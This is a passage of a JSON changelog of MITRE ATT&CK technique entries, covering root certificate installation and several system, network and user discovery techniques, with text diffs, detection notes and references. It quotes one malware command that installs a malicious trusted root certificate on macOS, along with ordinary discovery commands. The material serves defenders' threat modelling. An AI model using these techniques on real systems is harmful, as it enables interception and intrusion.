-tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\\n\\nInstalled root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\\n\\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n* CDD4EEAE6000AC7F40C3802C171E30148030C072\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\\n+A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\\n \\n-Installed root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\\n+Installed root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\\n \\n * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may install a root certificate on a compromised t1Adversaries may install a root certificate on a compromised 
>system to avoid warnings when connecting to adversary contro>system to avoid warnings when connecting to adversary contro
>lled web servers. Root certificates are used in public key c>lled web servers. Root certificates are used in public key c
>ryptography to identify a root certificate authority (CA). W>ryptography to identify a root certificate authority (CA). W
>hen a root certificate is installed, the system or applicati>hen a root certificate is installed, the system or applicati
>on will trust certificates in the root's chain of trust that>on will trust certificates in the root's chain of trust that
> have been signed by the root certificate. (Citation: Wikipe> have been signed by the root certificate.(Citation: Wikiped
>dia Root Certificate) Certificates are commonly used for est>ia Root Certificate) Certificates are commonly used for esta
>ablishing secure TLS/SSL communications within a web browser>blishing secure TLS/SSL communications within a web browser.
>. When a user attempts to browse a website that presents a c> When a user attempts to browse a website that presents a ce
>ertificate that is not trusted an error message will be disp>rtificate that is not trusted an error message will be displ
>layed to warn the user of the security risk. Depending on th>ayed to warn the user of the security risk. Depending on the
>e security settings, the browser may not allow the user to e> security settings, the browser may not allow the user to es
>stablish a connection to the website.  Installation of a roo>tablish a connection to the website.  Installation of a root
>t certificate on a compromised system would give an adversar> certificate on a compromised system would give an adversary
>y a way to degrade the security of that system. Adversaries > a way to degrade the security of that system. Adversaries h
>have used this technique to avoid security warnings promptin>ave used this technique to avoid security warnings prompting
>g users when compromised systems connect over HTTPS to adver> users when compromised systems connect over HTTPS to advers
>sary controlled web servers that spoof legitimate websites i>ary controlled web servers that spoof legitimate websites in
>n order to collect login credentials. (Citation: Operation E> order to collect login credentials.(Citation: Operation Emm
>mmental)  Atypical root certificates have also been pre-inst>ental)  Atypical root certificates have also been pre-instal
>alled on systems by the manufacturer or in the software supp>led on systems by the manufacturer or in the software supply
>ly chain and were used in conjunction with malware/adware to> chain and were used in conjunction with malware/adware to p
> provide a man-in-the-middle capability for intercepting inf>rovide [Adversary-in-the-Middle](https://attack.mitre.org/te
>ormation transmitted over secure TLS/SSL communications. (Ci>chniques/T1557) capability for intercepting information tran
>tation: Kaspersky Superfish)  Root certificates (and their a>smitted over secure TLS/SSL communications.(Citation: Kasper
>ssociated chains) can also be cloned and reinstalled. Cloned>sky Superfish)  Root certificates (and their associated chai
> certificate chains will carry many of the same metadata cha>ns) can also be cloned and reinstalled. Cloned certificate c
>racteristics of the source and can be used to sign malicious>hains will carry many of the same metadata characteristics o
> code that may then bypass signature validation tools (ex: S>f the source and can be used to sign malicious code that may
>ysinternals, antivirus, etc.) used to block execution and/or> then bypass signature validation tools (ex: Sysinternals, a
> uncover artifacts of Persistence. (Citation: SpectorOps Cod>ntivirus, etc.) used to block execution and/or uncover artif
>e Signing Dec 2017)  In macOS, the Ay MaMi malware uses <cod>acts of Persistence.(Citation: SpectorOps Code Signing Dec 2
>e>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Lib>017)  In macOS, the Ay MaMi malware uses <code>/usr/bin/secu
>rary/Keychains/System.keychain /path/to/malicious/cert</code>rity add-trusted-cert -d -r trustRoot -k /Library/Keychains/
>> to install a malicious certificate as a trusted root certi>System.keychain /path/to/malicious/cert</code> to install a 
>ficate into the system keychain. (Citation: objective-see ay>malicious certificate as a trusted root certificate into the
> mami 2018)> system keychain.(Citation: objective-see ay mami 2018)
", "changelog_mitigations": { "shared": [ "M1028: Operating System Configuration", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0024: Windows Registry (Windows Registry Key Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:04.307000+00:00", "modified": "2021-10-13 23:21:27.750000+00:00", "name": "System Information Discovery", "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1082", "external_id": "T1082" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/312.html", "external_id": "CAPEC-312" }, { "source_name": "OSX.FairyTale", "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.", "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/" }, { "source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" }, { "source_name": "Amazon Describe Instance", "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.", "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html" }, { "source_name": "Google Instances Resource", "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.", "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances" }, { "source_name": "Microsoft Virutal Machine API", "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.", "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Maril Vernon @shewhohacks", "Praetorian" ], "x_mitre_data_sources": [ "Instance: Instance Metadata", "Process: Process Creation", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "IaaS", "Linux", "macOS" ], "x_mitre_version": "2.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-13 23:21:27.750000+00:00\", \"old_value\": \"2021-03-08 10:33:01.066000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\\n\\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\", \"old_value\": \"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.\\n\\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n \\n-Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.\\n+Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\\n \\n Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"OSX.FairyTale\", \"old_value\": \"Amazon Describe Instance\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.\", \"old_value\": \"Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/\", \"old_value\": \"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"20 macOS Common Tools and Techniques\", \"old_value\": \"Google Instances Resource\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.\", \"old_value\": \"Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/\", \"old_value\": \"https://cloud.google.com/compute/docs/reference/rest/v1/instances\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Amazon Describe Instance\", \"old_value\": \"Microsoft Virutal Machine API\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.\", \"old_value\": \"Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html\", \"old_value\": \"https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"Google Instances Resource\", \"description\": \"Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.\", \"url\": \"https://cloud.google.com/compute/docs/reference/rest/v1/instances\"}, \"root['external_references'][6]\": {\"source_name\": \"Microsoft Virutal Machine API\", \"description\": \"Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.\", \"url\": \"https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get\"}, \"root['x_mitre_contributors'][0]\": \"Maril Vernon @shewhohacks\"}}", "previous_version": "2.2", "version_change": "2.2 \u2192 2.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may attempt to get detailed information about tt1An adversary may attempt to get detailed information about t
>he operating system and hardware, including version, patches>he operating system and hardware, including version, patches
>, hotfixes, service packs, and architecture. Adversaries may>, hotfixes, service packs, and architecture. Adversaries may
> use the information from [System Information Discovery](htt> use the information from [System Information Discovery](htt
>ps://attack.mitre.org/techniques/T1082) during automated dis>ps://attack.mitre.org/techniques/T1082) during automated dis
>covery to shape follow-on behaviors, including whether or no>covery to shape follow-on behaviors, including whether or no
>t the adversary fully infects the target and/or attempts spe>t the adversary fully infects the target and/or attempts spe
>cific actions.  Tools such as [Systeminfo](https://attack.mi>cific actions.  Tools such as [Systeminfo](https://attack.mi
>tre.org/software/S0096) can be used to gather detailed syste>tre.org/software/S0096) can be used to gather detailed syste
>m information. A breakdown of system data can also be gather>m information. If running with privileged access, a breakdow
>ed through the macOS <code>systemsetup</code> command, but i>n of system data can be gathered through the <code>systemset
>t requires administrative privileges.  Infrastructure as a S>up</code> configuration tool on macOS. As an example, advers
>ervice (IaaS) cloud providers such as AWS, GCP, and Azure al>aries with user-level access can execute the <code>df -aH</c
>low access to instance and virtual machine information via A>ode> command to obtain currently mounted disks and associate
>PIs. Successful authenticated API calls can return data such>d freely available space. [System Information Discovery](htt
> as the operating system platform and status of a particular>ps://attack.mitre.org/techniques/T1082) combined with inform
> instance or the model view of a virtual machine.(Citation: >ation gathered from other forms of discovery and reconnaissa
>Amazon Describe Instance)(Citation: Google Instances Resourc>nce can drive payload development and concealment.(Citation:
>e)(Citation: Microsoft Virutal Machine API)> OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniqu
 >es)  Infrastructure as a Service (IaaS) cloud providers such
 > as AWS, GCP, and Azure allow access to instance and virtual
 > machine information via APIs. Successful authenticated API 
 >calls can return data such as the operating system platform 
 >and status of a particular instance or the model view of a v
 >irtual machine.(Citation: Amazon Describe Instance)(Citation
 >: Google Instances Resource)(Citation: Microsoft Virutal Mac
 >hine API)
", "changelog_mitigations": { "shared": [ "T1082: System Information Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0030: Instance (Instance Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:27.342000+00:00", "modified": "2021-10-08 00:17:37.881000+00:00", "name": "System Network Configuration Discovery", "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1016", "external_id": "T1016" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/309.html", "external_id": "CAPEC-309" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Script: Script Execution", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 00:17:37.881000+00:00\", \"old_value\": \"2021-04-24 13:13:49.594000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\\n\\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. \", \"old_value\": \"Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\\n\\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\\n+Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\\n \\n-Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n+Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may look for details about the network configurat1Adversaries may look for details about the network configura
>tion and settings of systems they access or through informat>tion and settings, such as IP and/or MAC addresses, of syste
>ion discovery of remote systems. Several operating system ad>ms they access or through information discovery of remote sy
>ministration utilities exist that can be used to gather this>stems. Several operating system administration utilities exi
> information. Examples include [Arp](https://attack.mitre.or>st that can be used to gather this information. Examples inc
>g/software/S0099), [ipconfig](https://attack.mitre.org/softw>lude [Arp](https://attack.mitre.org/software/S0099), [ipconf
>are/S0100)/[ifconfig](https://attack.mitre.org/software/S010>ig](https://attack.mitre.org/software/S0100)/[ifconfig](http
>1), [nbtstat](https://attack.mitre.org/software/S0102), and >s://attack.mitre.org/software/S0101), [nbtstat](https://atta
>[route](https://attack.mitre.org/software/S0103).  Adversari>ck.mitre.org/software/S0102), and [route](https://attack.mit
>es may use the information from [System Network Configuratio>re.org/software/S0103).  Adversaries may use the information
>n Discovery](https://attack.mitre.org/techniques/T1016) duri> from [System Network Configuration Discovery](https://attac
>ng automated discovery to shape follow-on behaviors, includi>k.mitre.org/techniques/T1016) during automated discovery to 
>ng whether or not the adversary fully infects the target and>shape follow-on behaviors, including determining certain acc
>/or attempts specific actions.>ess within the target network and what actions to do next. 
", "changelog_mitigations": { "shared": [ "T1016: System Network Configuration Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:35.733000+00:00", "modified": "2021-08-12 13:34:34.153000+00:00", "name": "System Owner/User Discovery", "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1033", "external_id": "T1033" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/577.html", "external_id": "CAPEC-577" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-12 13:34:34.153000+00:00\", \"old_value\": \"2020-03-15 01:03:47.866000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\", \"old_value\": \"Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nUtilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n \\n-Utilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who.\\n+Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": 